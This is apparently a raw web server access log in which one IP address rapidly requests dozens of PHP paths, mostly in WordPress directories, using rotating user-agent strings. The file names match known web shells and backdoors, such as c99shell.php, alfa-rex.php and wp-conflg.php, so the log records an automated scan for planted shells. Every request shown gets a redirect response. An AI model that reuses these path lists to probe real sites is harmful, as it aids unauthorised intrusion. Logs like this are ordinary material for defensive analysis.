[11/Feb/2026:17:26:48 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:48 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:26:48 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:49 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:26:49 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:49 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:49 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:49 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:50 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:50 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:50 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:51 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:51 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:51 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:51 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:52 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:52 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:52 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:52 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:53 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:53 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:54 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:54 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:54 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:54 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:55 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:55 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:55 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:56 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:56 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:56 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:56 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:57 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:57 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:57 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:57 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:58 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:26:58 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:58 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:59 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:59 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:59 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:26:59 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:00 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:00 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:00 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:01 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:01 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:01 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:01 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:02 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:02 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:02 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:03 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:03 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:03 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:04 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:04 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:27:04 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:05 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:05 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:05 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:06 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:06 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:06 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:06 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:07 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:07 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:08 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:08 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:08 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:08 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:27:09 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:09 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:09 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:27:09 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:10 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:10 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:10 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:11 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:11 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:11 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:27:11 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:12 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:12 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:12 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:13 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:13 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:13 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:13 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:14 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:14 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:14 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:15 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:15 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:27:15 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:27:16 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:16 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:16 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:17 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:17 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:17 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:17 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:18 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:18 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:27:18 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:18 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:19 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:19 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:27:19 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:20 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 